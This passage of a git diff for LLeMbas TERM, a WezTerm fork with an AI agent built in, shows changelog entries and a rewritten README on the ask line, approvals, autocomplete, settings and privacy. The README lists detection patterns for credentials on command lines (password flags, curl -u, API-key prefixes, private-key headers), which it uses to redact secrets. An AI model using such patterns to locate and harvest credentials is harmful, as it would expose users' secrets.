autocomplete model, display width — is in the command palette twice: *— here* for the
|
||||
pane's directory, *— everywhere* for the machine; the directory's own wins. A key keeps
|
||||
the choice where this directory's settings already are. The settings of the active pane's
|
||||
directory apply, and follow you from directory to directory. Kept by the LLeMbas CLI
|
||||
(`lembas terminal settings`, CLI 2.0.0-beta.20 or newer) in its own directory on this
|
||||
machine; with an older CLI a choice holds until the terminal closes, said once. The
|
||||
options in the configuration file are the starting values: a value set through the
|
||||
terminal wins.
|
||||
- **LLeMbas: settings** — what applies in this pane and where each value comes from, with a
|
||||
line that forgets the directory's own.
|
||||
- **LLeMbas: autocomplete status** — whether the AI's autocomplete is on and by whose
|
||||
choice, the engine and model it would use, and the last attempts: when, for which line,
|
||||
how long, and what came back.
|
||||
- **LLeMbas: display width** — the display's part of the pane.
|
||||
- **Manual mode without an approval card** (with a CLI that places commands, 2.0.0-beta.20
|
||||
or newer): the command is put at your prompt and not entered; a dimmed hint — *Enter runs
|
||||
· edit freely · Ctrl+C dismisses* — is drawn beside it, or on the empty row below, never
|
||||
over it, and goes when you have decided. Nothing of the hint is written to the pane.
|
||||
- **The input mark.** With AI on, the terminal writes beside each pane's status record
|
||||
whether anything stands on the input line of that prompt (`pane-<n>.input`: the record's
|
||||
id and seq, `typed=0` or `1` — never the text). By it LLeMbas places a command only at an
|
||||
empty prompt, whatever the prompt looks like, and never adds to what you typed.
|
||||
- With an engine that knows `--debug` (contract 3), *autocomplete status* also shows what
|
||||
the engine said of each of its decisions at the newest attempt.
|
||||
|
||||
### For developers
|
||||
|
||||
- `llembas-line` gains `complete`: whether a line is asked about and why not, the directory
|
||||
in a reported address, one request at a time, the engine's command line and its run, and
|
||||
the attempts in words — tested in CI with a stand-in engine that records its arguments,
|
||||
its input and its environment.
|
||||
- `llembas-line` gains `mark` (the input mark's text and file).
|
||||
- `wezterm.llembas.hint`, `.status`, `.complete_status`, `.data_dir`; `configure` takes
|
||||
`ac_model`, `ac_timeout_ms`, `ac_debug` and `input_mark`.
|
||||
|
||||
## 1.0.0-beta.4 — 2026-12-02
|
||||
|
||||
### Changed
|
||||
|
||||
- **LLeMbas in the terminal, not a terminal that starts LLeMbas.** The LLeMbas CLI's own
|
||||
interface is no longer opened in a split. You ask at your own prompt, the answer shows in
|
||||
the terminal's display on the right, and what the agent does in a shell is typed into your
|
||||
pane. The CLI is the engine behind it; `Ctrl+Shift+S` opens the CLI itself, whole, in a new
|
||||
tab. Asking needs LLeMbas CLI 2.0.0-beta.19 or newer; with an older one the terminal says
|
||||
so, with how to update.
|
||||
- **The ask line is in place of your shell's line** (`Ctrl+Shift+A`), not a prompt at the top
|
||||
of the window: it names the model and the mode, `Enter` sends, `Escape` or the key again
|
||||
leaves it, and your shell's line is untouched.
|
||||
- The display is a third of the pane's width (option `display.width`), and the keyboard stays
|
||||
in your shell when it opens.
|
||||
- Keys: `Ctrl+Shift+S` opens the CLI in a tab (it started a session in a split),
|
||||
`Ctrl+Shift+D` shows and hides the display. *Resume a session* is gone from the terminal:
|
||||
a tab keeps its conversation, and the CLI in a tab has its own session list. The options
|
||||
`split` and `new_session_in`, and the keys `new_session`, `resume` and `toggle_display`,
|
||||
are gone with it.
|
||||
- *Log in* and *set up* open in a tab.
|
||||
- AI autocomplete (`autocomplete = true`) is drawn by the terminal, in every shell. The one
|
||||
the shell integration drew is `autocomplete = 'shell'`.
|
||||
|
||||
### Added
|
||||
|
||||
- **AI on and off**: the option `ai`, and `Ctrl+Shift+I` at any moment. Off: the LLeMbas keys
|
||||
do nothing, nothing is started, read or sent.
|
||||
- **Approvals from your own pane**: `Ctrl+Shift+Y` allows, `Ctrl+Shift+J` denies,
|
||||
`Ctrl+Shift+G` stops the turn; what LLeMbas asks is said at your cursor. Palette entries
|
||||
for *approve always*, *new conversation*, *choose model*, *choose autocomplete model* and
|
||||
*choose mode* (manual, auto). The terminal has its own two models, kept by the CLI.
|
||||
- **Suggestions on the shell's line, drawn by the terminal**: the rest of the line from the
|
||||
commands the terminal has seen you run, dimmed after the cursor; `Right` or `End` takes it,
|
||||
`Alt+Right` one word. Needs the shell integration; works in bash and zsh alike.
|
||||
- **The command line in colours**, drawn by the terminal: the command when it exists,
|
||||
options, strings, variables, the signs between commands, comments, paths that exist.
|
||||
- **The terminal's own command history** for those suggestions, in
|
||||
`~/.local/share/llembas-tty/command-history`, yours alone, never sent anywhere. Not kept: a
|
||||
line that starts with a space, a command that was not found, anything from a private pane.
|
||||
*LLeMbas: clear command history* removes it; `history = { enabled = false }` keeps none.
|
||||
- **The pane's status record**: the shell integration says at every prompt, and when a
|
||||
command starts, where the shell stands and how the last command ended. LLeMbas waits for
|
||||
it after typing a command.
|
||||
- Options `suggestions`, `highlight`, `history`, `colors`, `mode`, `display`; palette
|
||||
switches for suggestions, highlighting and AI autocomplete.
|
||||
|
||||
## 1.0.0-beta.3 — 2026-12-02
|
||||
|
||||
### Changed
|
||||
|
||||
- **The terminal carries no LLeMbas CLI of its own any more.** It uses the `lembas` you have —
|
||||
on `PATH`, or in `~/.local/bin` where its installer puts it — the same one you use outside the
|
||||
terminal, updated by itself. The package is smaller by that copy.
|
||||
- The CLI that 1.0.0-beta.1 and 1.0.0-beta.2 kept in `/usr/lib/llembas-tty/` is removed by the
|
||||
update. If it was the only one you had: run the set-up below once, and log in again.
|
||||
|
||||
### Added
|
||||
|
||||
- **Set-up: the CLI and LLeMbas IDE installed when they are missing.** The palette entry
|
||||
*LLeMbas: set up (CLI and IDE)*, or `llembas-tty-setup` in a shell, says what is missing and
|
||||
asks before installing each, for your user only. It runs each product's own installer from
|
||||
its own release, and only after checking it against the LLeMbas release key. A beta terminal
|
||||
installs the newest betas.
|
||||
- **LLeMbas IDE from the terminal**: `Ctrl+Shift+E`, or *LLeMbas: open LLeMbas IDE here*, opens
|
||||
the editor in a new tab in the pane's directory. Option `ide` for its path, key `keys.ide`.
|
||||
|
||||
## 1.0.0-beta.2 — 2026-12-02
|
||||
|
||||
### Changed
|
||||
|
||||
- **A quiet window by default.** No tab bar while a window has one tab; with more, a plain line
|
||||
of text at the bottom instead of a strip in the window's frame. Tabs are opened, closed and
|
||||
walked by keys as before. This is the built-in configuration only: your own file decides for
|
||||
itself. The session bar sits in that line, so with one tab it is not shown.
|
||||
|
||||
### Fixed
|
||||
|
||||
- The `.deb` file is named by the version as written (`llembas-tty_1.0.0-beta.2_amd64.deb`). In
|
||||
1.0.0-beta.1 its name carried Debian's `~`, which a forge's upload turns into a dot, so the
|
||||
release's `SHA256SUMS` named a file that was not there under that name.
|
||||
|
||||
## 1.0.0-beta.1 — 2026-12-02
|
||||
|
||||
|
||||
Generated
+5
@@ -3297,6 +3297,10 @@ version = "1.0.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "11d3d7f243d5c5a8b9bb5d6dd2b1602c0cb0b9db1621bafc7ed66e35ff9fe092"
|
||||
|
||||
[[package]]
|
||||
name = "llembas-line"
|
||||
version = "0.1.0"
|
||||
|
||||
[[package]]
|
||||
name = "lock_api"
|
||||
version = "0.4.14"
|
||||
@@ -7138,6 +7142,7 @@ dependencies = [
|
||||
"lazy_static",
|
||||
"lfucache",
|
||||
"libc",
|
||||
"llembas-line",
|
||||
"log",
|
||||
"luahelper",
|
||||
"metrics",
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2018-Present Wez Furlong
|
||||
Copyright (c) 2026 Jaroslav Beneš (LLeMbas TTY)
|
||||
Copyright (c) 2026 Jaroslav Beneš (LLeMbas TERM)
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,66 +1,345 @@
|
||||
# LLeMbas TTY
|
||||
# LLeMbas TERM
|
||||
|
||||
**A terminal that is also an agent.** LLeMbas TTY is a fork of
|
||||
[WezTerm](https://github.com/wezterm/wezterm) with LLeMbas built in. By default
|
||||
it is an ordinary terminal: nothing is started, nothing of a pane is read and
|
||||
nothing leaves the machine until you press one of the keys below.
|
||||
**LLeMbas in the terminal.** LLeMbas TERM is a fork of
|
||||
[WezTerm](https://github.com/wezterm/wezterm) with LLeMbas built into it: you ask at your own
|
||||
prompt, the answer shows beside your shell, and what the agent does in a shell it types into
|
||||
your pane, at your prompt, where you see it. It is not a terminal that starts another
|
||||
program in a split.
|
||||
|
||||
The agent is the [LLeMbas CLI](https://github.com/LLeMbas/LLeMbas-CLI)
|
||||
(`lembas`), unchanged; the package carries a verified copy beside the terminal.
|
||||
It logs in to your own LLeMbas server and uses that server's models.
|
||||
Until you press one of the keys below it is an ordinary terminal: nothing of LLeMbas is
|
||||
started, nothing of a pane is read and nothing leaves the machine. With AI switched off that
|
||||
stays so — the LLeMbas CLI is not started at all, but to keep the switch itself when you press
|
||||
it (*AI on and off*, below, says exactly what still works).
|
||||
|
||||
**State: 1.0.0-beta.1, not released yet.** The terminal's side described here
|
||||
is written and tested without a terminal; the first builds come from CI. The
|
||||
parts that need the LLeMbas CLI need one that knows about terminals
|
||||
(2.0.0-beta.18 or newer); with an older one the terminal says so in words.
|
||||
Version in `VERSION`, changes in `CHANGELOG.md`. MIT, like WezTerm — see
|
||||
`LICENSE.md`.
|
||||
The engine is the [LLeMbas CLI](https://github.com/LLeMbas/LLeMbas-CLI) (`lembas`), installed
|
||||
beside the terminal as its own thing, and the editor is
|
||||
[LLeMbas IDE](https://github.com/LLeMbas/LLeMbas-IDE) (`llembas-ide`). The terminal carries no
|
||||
copy of either: it uses the ones you have and installs what is missing when you ask
|
||||
(*Set-up*, below). The CLI logs in to your own LLeMbas server and uses that server's models.
|
||||
|
||||
## What it adds
|
||||
**State: beta.** Built and packaged by CI for Linux x86-64 (a `.deb` and a tarball on the
|
||||
releases page); macOS and Windows are not packaged yet. It needs a LLeMbas CLI that knows the
|
||||
terminal by this name (the CLI's *terminal contract 4*; `lembas update` brings it); with an
|
||||
older one the terminal says so in words, with how to update. Version in `VERSION`, changes in
|
||||
`CHANGELOG.md`. MIT, like WezTerm — see `LICENSE.md`.
|
||||
|
||||
**It was called LLeMbas TTY** up to 1.0.0-beta.5. If you are upgrading from that, read
|
||||
*Coming from LLeMbas TTY* below: update the CLI first, and change one line in your `~/.zshrc`.
|
||||
|
||||
## How it works
|
||||
|
||||
- **Ask in place.** `Ctrl+Shift+A` turns the line you are on into a line for a question:
|
||||
`llembas <model> · <mode> › `, so you see which model and mode will answer before you send.
|
||||
Type, `Enter` sends, `Escape` or the key again leaves it — and your shell's line is as it
|
||||
was: nothing you type on the ask line reaches the shell. On the ask line `Ctrl+Tab` switches
|
||||
the mode, manual ↔ auto, and `Ctrl+Shift+M` opens the list of models: the line says the
|
||||
choice at once, your question stays as you typed it, and the choice is remembered like any
|
||||
other (*Settings*). It edits like a shell line
|
||||
(arrows, `Home`/`End`, `Ctrl`/`Alt`+arrows by word, `Ctrl+W`, `Ctrl+U`, `Ctrl+K`, paste) and
|
||||
`Up`/`Down` walk through your earlier questions. In a full-screen program it is drawn on
|
||||
the bottom row.
|
||||
- **The display.** The answer shows in a pane on the right, a third of the width, which the
|
||||
terminal opens when you first ask; the keyboard stays in your shell. It has no prompt of
|
||||
its own: it shows what LLeMbas says, the tools it uses that are not the shell, and what it
|
||||
asks you. `Ctrl+Shift+D` hides and shows it.
|
||||
- **Commands happen in your pane.** When LLeMbas runs a command it is typed at your prompt
|
||||
as if you typed it, and its output is in your scrollback. In *manual* mode the command is
|
||||
placed at your prompt and not entered: `Enter` runs it, you may change it first, and
|
||||
`Ctrl+C` (or clearing the line) dismisses it — a dimmed hint beside it says so, and no
|
||||
approval card stands in the way. In *auto* mode the commands the CLI's rules allow are
|
||||
typed and entered without asking. A permission for a tool that is not the shell stands at
|
||||
your cursor's row with the keys that answer it (`Ctrl+Shift+Y` allows, `Ctrl+Shift+J`
|
||||
denies, from your own pane), until it is answered; the answer is for what you read there
|
||||
(a request that changed a moment before is not answered, and the terminal says so). A
|
||||
question LLeMbas asks you stands there too, and is answered on the ask line: a number of
|
||||
its options, `n` to skip it, or your own words.
|
||||
There are no file-edit tools here: this is for terminal work, and the CLI or the IDE are a
|
||||
key away.
|
||||
- **The CLI itself, whole.** `Ctrl+Shift+S` opens `lembas` in a new tab, in the pane's
|
||||
directory, exactly as if you had typed it.
|
||||
- **AI on and off.** `Ctrl+Shift+I` switches all of it at any moment; the option `ai` says
|
||||
how the terminal starts. Off: nothing of a pane is read, nothing leaves the machine, and the
|
||||
LLeMbas CLI is not started — not to ask, not to complete, not to read or keep a setting. The
|
||||
one exception is the switch itself: pressing it has the CLI keep that choice (and, switching
|
||||
on, read the settings). What still works with AI off is the terminal's own: suggestions from
|
||||
your own history, the colours, private panes, clearing the history, the display's width and
|
||||
the drawing switches (a choice made then holds until the terminal closes), and the two
|
||||
entries that open another program in a tab when you ask — *set up* and *open LLeMbas IDE*.
|
||||
Every other LLeMbas key says once that AI is off, then nothing.
|
||||
- **A shell line with comforts, in any shell.** Drawn by the terminal itself, so they work
|
||||
in bash as in zsh, and inside `ssh` where the other machine's shell has the shell
|
||||
integration. They are drawn only while the shell is at its prompt (by its status record):
|
||||
what you type into a program a command started — a database client, a password prompt — is
|
||||
never offered anything:
|
||||
- *suggestions*: the rest of the line, dimmed after the cursor, from the commands this
|
||||
terminal has seen you run. `Right` or `End` takes it, `Alt+Right` one word, anything
|
||||
else just goes on typing;
|
||||
- *colours*: the command (when it exists), options, strings, variables, the signs between
|
||||
commands, comments, and paths that exist;
|
||||
- *AI autocomplete*, off unless you turn it on (*LLeMbas: AI autocomplete on/off* in the
|
||||
command palette; choose its model with *LLeMbas: choose autocomplete model*): when your
|
||||
history has nothing for the line, LLeMbas is asked after a pause and its answer shows in
|
||||
the same place, in italics. What a key takes is exactly what is drawn: a suggestion too
|
||||
long for the row is taken up to where it was cut, and nothing invisible (zero-width or
|
||||
direction-changing characters) is ever in one. *LLeMbas: autocomplete status* says in words whether it is
|
||||
on, which engine and model it uses, and what the last attempts gave — a suggestion,
|
||||
nothing, a timeout, or the engine's own error sentence.
|
||||
- **Your choices are remembered** — for this machine, and for a working directory where you
|
||||
want it different there. See *Settings* below.
|
||||
|
||||
| Key | Command palette (`Ctrl+Shift+P`) | What it does |
|
||||
|---|---|---|
|
||||
| `Ctrl+Shift+A` | LLeMbas: ask the model | A one-line prompt. Your question goes to LLeMbas with the *terminal context* of the pane you were in (below). If the tab has a LLeMbas pane it is asked there; otherwise one opens to the right, in the same directory. |
|
||||
| `Ctrl+Shift+A` | LLeMbas: ask the model | The ask line. The question goes with the *terminal context* of your pane (below). |
|
||||
| | LLeMbas: ask about this screen | The same, with what is visible on the screen instead of the last commands — also from a full-screen program. |
|
||||
| `Ctrl+Shift+S` | LLeMbas: new session here | Starts `lembas` beside the pane, in its directory. |
|
||||
| `Ctrl+Shift+O` | LLeMbas: resume a session | A list of your sessions to pick from. |
|
||||
| `Ctrl+Shift+D` | LLeMbas: toggle side display | Shows or hides the session's side display. |
|
||||
| `Ctrl+Shift+H` | LLeMbas: private pane on/off | Marks the pane private: nothing of it is ever passed on. |
|
||||
| | LLeMbas: log in | Runs `lembas login`. |
|
||||
| `Ctrl+Shift+S` | LLeMbas: open the CLI | `lembas`, whole, in a new tab. |
|
||||
| `Ctrl+Shift+I` | LLeMbas: AI on/off — here / — everywhere | The switch. |
|
||||
| `Ctrl+Shift+Y` | LLeMbas: approve (allow once) | Answers what LLeMbas asks, from your pane. |
|
||||
| | LLeMbas: approve always | Where the question offers it (never for a command typed into your pane). |
|
||||
| `Ctrl+Shift+J` | LLeMbas: deny | |
|
||||
| `Ctrl+Shift+G` | LLeMbas: stop the turn | |
|
||||
| | LLeMbas: new conversation | A tab has one conversation, which goes on until you start a new one. |
|
||||
| `Ctrl+Shift+D` | LLeMbas: show/hide the display | Hidden, it runs on behind your pane. |
|
||||
| `Ctrl+Shift+M` | LLeMbas: choose chat model — here / — everywhere | The terminal's own chat model, from your server's list. Also from the ask line. |
|
||||
| `Ctrl+Alt+M` | LLeMbas: choose autocomplete model — here / — everywhere | The terminal's own autocomplete model. |
|
||||
| `Ctrl+Tab` *on the ask line* | LLeMbas: choose mode — here / — everywhere | *manual* or *auto*. The key switches to the other one; anywhere but the ask line `Ctrl+Tab` is the next tab, as always. |
|
||||
| `Ctrl+Shift+Alt+P` | | The terminal's command palette, like `Ctrl+Shift+P` — the one of the two that is never handed to LLeMbas IDE (below). |
|
||||
| | LLeMbas: display width — here / — everywhere | The display's part of the pane, from the next time it opens. |
|
||||
| `Ctrl+Shift+H` | LLeMbas: private pane on/off | Nothing of the pane is passed on, and its commands are not remembered. |
|
||||
| | LLeMbas: suggestions on/off — here / — everywhere | |
|
||||
| | LLeMbas: syntax highlighting on/off — here / — everywhere | |
|
||||
| | LLeMbas: AI autocomplete on/off — here / — everywhere | |
|
||||
| | LLeMbas: settings | What applies in this pane and where each value comes from; forgets this directory's own. |
|
||||
| | LLeMbas: autocomplete status | The AI's autocomplete in words: on or off, engine, model, the last attempts. |
|
||||
| | LLeMbas: clear command history | |
|
||||
| | LLeMbas: log in | `lembas login`, in a new tab. |
|
||||
| `Ctrl+Shift+E` | LLeMbas: open LLeMbas IDE here | LLeMbas IDE in a new tab, in the pane's directory. |
|
||||
| | LLeMbas: set up (CLI and IDE) | Installs what is missing of the two (below). |
|
||||
|
||||
- **Session bar.** When the pane you are in runs LLeMbas, the right of the tab
|
||||
bar shows its model, mode, state and how full its context is. A tab in which
|
||||
LLeMbas waits for you is marked with `●`. With no LLeMbas pane, the bar shows
|
||||
nothing of ours.
|
||||
- **Prompt autocomplete**, off by default: in zsh the rest of the line appears
|
||||
dimmed after the cursor (Right arrow or End takes it), in bash a key
|
||||
(`Ctrl+X Ctrl+A`) completes the line. See *Autocomplete* below.
|
||||
- **Its own everything.** LLeMbas TTY installs beside WezTerm and shares
|
||||
nothing with it: its commands are `llembas-tty`, `llembas-tty-gui` and
|
||||
`llembas-tty-mux-server`, its configuration is
|
||||
`~/.config/llembas-tty/llembas-tty.lua` (or `~/.llembas-tty.lua`), and it
|
||||
neither reads WezTerm's files nor talks to a running WezTerm.
|
||||
- **LLeMbas IDE has the same keys, and gets them while it is in front.** `Ctrl+Shift+A`,
|
||||
`Ctrl+Tab`, `Ctrl+Shift+M`, `Ctrl+Alt+M`, `Ctrl+Alt+A`, `Ctrl+Shift+I`, `Ctrl+Shift+G`,
|
||||
`Ctrl+Shift+Y`, `Ctrl+Shift+J`, `Ctrl+Alt+Shift+Y`, `Ctrl+Shift+E`, `Ctrl+Shift+D`,
|
||||
`Ctrl+Shift+P`, `Alt+Left` and `Alt+Right` mean the same things in the editor. In a pane
|
||||
where LLeMbas IDE runs, the terminal does not act on them: it sends them on to the editor,
|
||||
told apart from their plain cousins (`Ctrl+Shift+A` is not `Ctrl+A`). The terminal knows by
|
||||
the editor's own word only — LLeMbas IDE sets the pane's user variable `llembas_ide` to `1`
|
||||
while it runs — never by guessing from a process name; and a shell back at its prompt has
|
||||
the keys again even if the editor died without a word. Every other key of the terminal
|
||||
(new tab, copy and paste, splits, `Ctrl+Shift+S`, `Ctrl+Shift+H`) works there as everywhere,
|
||||
the entries of the command palette do too, and the palette itself is on `Ctrl+Shift+Alt+P`.
|
||||
`ide_keys = false` keeps all keys with the terminal.
|
||||
- **The keyboard protocol for programs that ask for it.** The built-in configuration turns
|
||||
on `enable_kitty_keyboard`: a program that *asks* for the kitty keyboard protocol (Neovim,
|
||||
and so LLeMbas IDE; some shells and full-screen programs) is then sent keys in that
|
||||
protocol's form, in which modified keys are told apart. A program that does not ask —
|
||||
bash, zsh, most things — gets every key exactly as before. `kitty_keyboard = false`, or
|
||||
`config.enable_kitty_keyboard = false` in your own file, leaves it off.
|
||||
- **A quiet window.** With no configuration of your own there is no tab bar while a window has
|
||||
one tab; from the second tab on it is a plain line of text at the bottom. Tabs are worked by
|
||||
keys either way: `CTRL+SHIFT+T` new, `CTRL+SHIFT+W` close, `CTRL+TAB` / `CTRL+SHIFT+TAB` next
|
||||
and previous (`CTRL+TAB` switches the mode instead while you are on the ask line), `CTRL+SHIFT+1`…`9` by number. The session bar below sits in that line, so it
|
||||
shows from two tabs on; `config.hide_tab_bar_if_only_one_tab = false` in your own file keeps
|
||||
the line always.
|
||||
- **Session bar.** The right of the tab bar shows the model, mode, state and how full the
|
||||
context is of the conversation in the tab you are in, `AI off` when it is off, and
|
||||
`private` for a private pane. A tab in which LLeMbas waits for you is marked with `●`, and
|
||||
what it asks is said at the cursor of your pane, with the keys that answer.
|
||||
- **Its own everything.** LLeMbas TERM installs beside WezTerm and shares
|
||||
nothing with it: its commands are `llembas-term`, `llembas-term-gui` and
|
||||
`llembas-term-mux-server`, its configuration is
|
||||
`~/.config/llembas-term/llembas-term.lua` (or `~/.llembas-term.lua`), and it
|
||||
neither reads WezTerm's files nor talks to a running WezTerm. One thing it keeps on
|
||||
purpose: a pane's `TERM_PROGRAM` is `WezTerm`, because programs decide by it which of the
|
||||
terminal's features they may use, and this terminal has all of WezTerm's.
|
||||
|
||||
## What is passed on, and when
|
||||
## Set-up: the CLI and LLeMbas IDE
|
||||
|
||||
Only when you ask (the two *ask* entries), and only this:
|
||||
LLeMbas TERM is the terminal of a set of three: the terminal, the LLeMbas CLI (the engine) and
|
||||
LLeMbas IDE (the editor). The other two are installations of their own — in your home
|
||||
directory, updated by themselves (`lembas update`, `llembas-ide update`), and the same whether
|
||||
you start them here or anywhere else. The terminal looks for `lembas` and `llembas-ide` on
|
||||
your `PATH` and then in `~/.local/bin`.
|
||||
|
||||
When one is missing, the palette entry **LLeMbas: set up (CLI and IDE)** — or `llembas-term-setup`
|
||||
in a shell — says which, and asks before installing each. It runs that product's own
|
||||
installer from that product's own release, after checking it: the release's `SHA256SUMS` must
|
||||
be signed with the LLeMbas release key, must name that release where it names one (a first
|
||||
line `# <product> <version>`: an older signed release served under a newer tag is refused),
|
||||
and the installer must match it. It refuses to run as root — everything goes into your own
|
||||
home — and nothing already installed is touched. A beta terminal installs the newest betas, a stable
|
||||
one the newest stable releases (`--channel stable|beta` to say otherwise; `--dry-run` to see
|
||||
what it would do; `--no-cli`, `--no-ide`).
|
||||
|
||||
## What is passed on, what is kept, and when
|
||||
|
||||
**With AI off: nothing, to anyone.** With AI on, still nothing until you ask.
|
||||
|
||||
**When you send a question** (the two *ask* entries), LLeMbas is given, with it:
|
||||
|
||||
- the last 5 commands of that pane with the end of each one's output (200
|
||||
lines or 16 KiB at most), and the pane's directory and shell. This needs the
|
||||
shell integration (below), which marks where a command and its output begin;
|
||||
lines or 16 KiB at most), how each ended where the shell said so, and the pane's
|
||||
directory and shell. This needs the shell integration (below), which marks where a
|
||||
command and its output begin;
|
||||
- without shell integration: the last screenful instead;
|
||||
- from a full-screen program (an editor, a pager): only the directory, unless
|
||||
you chose *ask about this screen*.
|
||||
- from a full-screen program (an editor, a pager): nothing but the question, unless
|
||||
you chose *ask about this screen*;
|
||||
- from a shell reached with `ssh` inside the pane: the same, named as that machine's (its
|
||||
host, with a LLeMbas CLI that reads it), and the display opens in a directory of this
|
||||
machine.
|
||||
|
||||
Never: a pane you marked private, a pane that is asking for a password, a pane
|
||||
that runs on another machine, the scrollback as a whole, or anything at all
|
||||
while you have not asked. The context is written to a file only you can read,
|
||||
in the terminal's runtime directory; LLeMbas deletes it after reading it and
|
||||
the terminal removes any that are left after ten minutes. What LLeMbas then
|
||||
does with it is the CLI's business and follows its permissions.
|
||||
Never: a pane you marked private, a pane that is asking for a password (as far as the
|
||||
terminal can tell: a program that turns echo off and reads a line, as `sudo` and `ssh` do —
|
||||
not a password a program on another machine asks for), a pane of another of the terminal's
|
||||
domains, the scrollback as a whole, or anything at all while you have not asked. The context
|
||||
is written to a file only you can read, in the terminal's runtime directory; LLeMbas deletes
|
||||
it after reading it. One that was never handed over (a question that was not sent, a display
|
||||
that ended first) is removed at once where the terminal knows of it, and otherwise once it
|
||||
is ten minutes old: the terminal looks at its first status update and then once a minute
|
||||
while it has written any.
|
||||
|
||||
A question is never lost without a word: when the display could not start or ended before it
|
||||
took the question, the ask line opens again with the question on it and what the display said.
|
||||
|
||||
**What the terminal trusts: only what it started.** The display of a tab is the pane the
|
||||
terminal itself opened and started `lembas terminal` in, remembered by that pane's id. A
|
||||
question, the name of its context file, an answer to something LLeMbas asked, a model or a
|
||||
mode are written to that pane and to no other — and only while the program in front of it is
|
||||
still the LLeMbas CLI the terminal started there, which it looks at each time before it
|
||||
writes (when it cannot tell, it writes nothing and says so). What a pane *says* of itself
|
||||
counts for nothing: the variables by which LLeMbas publishes its model, mode and state can be
|
||||
set by anything that prints to a pane — a file shown with `cat`, a line of a log, a host
|
||||
reached over SSH. From the display they are shown, cleaned of control and invisible
|
||||
characters; from any other pane they are not looked at, except in a pane whose program in
|
||||
front is the CLI itself (opened whole with `Ctrl+Shift+S`), where they fill the session bar.
|
||||
The ask line never writes into such a pane: the CLI has its own line for questions. When
|
||||
the engine in a display has ended, that pane is no display any more and the next question
|
||||
opens a new one. (The `cli` option must name the program itself or a link to it; a wrapper
|
||||
script that starts it is not recognised as the engine, and nothing would be sent.)
|
||||
|
||||
**While a conversation runs**, LLeMbas can read the pane you asked from and type commands
|
||||
into it, by its own permissions: in manual mode a command is placed at your prompt for you
|
||||
to run, and only at an empty prompt — nothing is ever added to what you typed. That is the
|
||||
CLI's business; it never types at a password prompt. So that it knows your prompt is empty
|
||||
whatever your prompt looks like, the terminal writes, with AI on, a four-line *input mark*
|
||||
beside each pane's status record: which prompt it is of, and whether anything stands on its
|
||||
input line — never what.
|
||||
|
||||
**AI autocomplete**, when you turned it on: the line you are typing is sent to
|
||||
`lembas complete` after a pause, when your own history has no suggestion for it — never an
|
||||
empty line, a line of fewer than three characters, a line that starts with a space, a
|
||||
private pane, a line typed while the shell is not at its prompt (a command runs), a line
|
||||
typed into anything but a shell (`ssh`, a database client), a shell whose directory is on
|
||||
another machine, **or a line that looks as if it holds a secret** (*Secrets on a command
|
||||
line*, below). What comes back is shown as text; nothing runs
|
||||
until you take it and press Enter. The engine is given eight seconds for an answer
|
||||
(`autocomplete_timeout_ms`), and twenty for the first one after you switch autocomplete on or
|
||||
change its model: a model on your own machine may have to be loaded. The last few attempts — the start of the line, how long it took, what came back — are
|
||||
kept in memory for *LLeMbas: autocomplete status* and go when the terminal closes.
|
||||
|
||||
### Secrets on a command line
|
||||
|
||||
A command line can hold a password, a token or a key. The terminal looks for that itself,
|
||||
before anything of a line goes anywhere, and independently of what the LLeMbas CLI checks:
|
||||
|
||||
- **AI autocomplete does not ask about such a line.** *LLeMbas: autocomplete status* then
|
||||
says "not asked: the line looks like it holds a secret" — and never the line.
|
||||
- **It is not kept in the terminal's command history**, so it is never suggested back and
|
||||
never part of anything sent later. A history file written by an earlier version is
|
||||
cleaned of such lines the next time it is read.
|
||||
- **In what is passed on with a question**, a command that looks so is replaced by
|
||||
"[a command that looked as if it held a secret was left out, with its output]" — its output
|
||||
is not read at all — and a line of another command's output, or of the screen, that looks
|
||||
so is replaced by "[a line that looked as if it held a secret was left out]".
|
||||
|
||||
What is taken for a secret, erring on the side of not sending:
|
||||
|
||||
- `NAME=value` and `name: value` where the name contains *password*, *passwd*, *passphrase*,
|
||||
*secret*, *token* or *credential* — or *key*, *auth* or *pwd*, unless the value is plainly a
|
||||
path or a number: assignments and exports, options with `=`, headers, fields of JSON,
|
||||
parts of a query string;
|
||||
- options whose value follows as a word: `--password x`, `--token x`, `--api-key x`,
|
||||
`--secret x` and their like;
|
||||
- a program's own way of taking a password: `mysql -pX` (and the other MySQL and MariaDB
|
||||
clients), `sshpass -p X`, `… login -p X`, `redis-cli -a X`, `unzip -P X`, `7z -pX`,
|
||||
`ldapsearch -w X`, `mongosh -p X`, `openssl … pass:X`, `htpasswd -b`;
|
||||
- `user:password` given to `curl -u` (and `wget`, `http`, `xh`, `aria2c`, `ab`, `svn`), and
|
||||
in a URL: `scheme://user:password@host`;
|
||||
- `Authorization:` headers, `Bearer …`, `Basic …`;
|
||||
- a line that feeds a password to a program: `… | sudo -S`, `chpasswd`, `passwd --stdin`,
|
||||
`--password-stdin`;
|
||||
- keys by their well-known beginning: `sk-…`, `ghp_…`, `github_pat_…`, `glpat-…`,
|
||||
`xoxb-…`, `AKIA…`, `-----BEGIN … PRIVATE KEY`;
|
||||
- a word of 32 or more letters and digits that looks random (small letters, capitals and
|
||||
at least two digits; a commit's hash, a UUID and a path are not taken for one).
|
||||
|
||||
Not taken for one: a value that only refers to a variable (`TOKEN=$OTHER`, `"$TOKEN"`,
|
||||
`$(command)`), and a name without a value (`export TOKEN`, `--password` alone, which asks).
|
||||
|
||||
What this cannot know, so do not rely on it for those: a password given as a plain argument
|
||||
to a program the list above does not name (`mytool alice hunter2`); a key that has only its
|
||||
shape to tell it by, while less of it stands on the line than the rule needs (a 40-character
|
||||
key typed by hand, one character at a time, is asked about until enough of it is there —
|
||||
pasted, it is there at once); and anything a program prints that does not look like one of
|
||||
the forms above. A pane marked private (`Ctrl+Shift+H`) passes nothing on at all, and a line
|
||||
that starts with a space is neither sent nor remembered.
|
||||
|
||||
## Settings
|
||||
|
||||
What you switch and choose in the terminal is remembered: AI on or off, AI autocomplete,
|
||||
suggestions, highlighting, the mode, the chat model, the autocomplete model and the display's
|
||||
width. Each is in the command palette twice:
|
||||
|
||||
- **… — here** keeps it for the working directory of the pane you are in;
|
||||
- **… — everywhere** keeps it for this machine.
|
||||
|
||||
A directory's own value wins over the machine's there. A key (`Ctrl+Shift+I`, `Ctrl+Shift+M`,
|
||||
